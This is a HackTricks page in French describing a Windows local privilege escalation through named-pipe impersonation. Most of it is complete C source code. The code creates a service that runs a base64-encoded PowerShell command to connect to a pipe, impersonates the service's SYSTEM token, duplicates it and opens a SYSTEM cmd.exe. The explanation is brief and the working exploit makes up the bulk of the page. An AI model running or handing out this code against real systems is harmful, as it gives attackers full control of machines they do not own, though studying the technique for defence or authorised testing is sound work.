HackTricks

Flux de code :

1. Créez un nouveau Pipe
2. Créez et démarrez un service qui se connectera au pipe créé et écrira quelque chose. Le code du service exécutera ce code PS encodé : $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
3. Le service reçoit les données du client dans le pipe, appelle ImpersonateNamedPipeClient et attend que le service se termine
4. Enfin, utilise le jeton obtenu du service pour lancer un nouveau cmd.exe

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}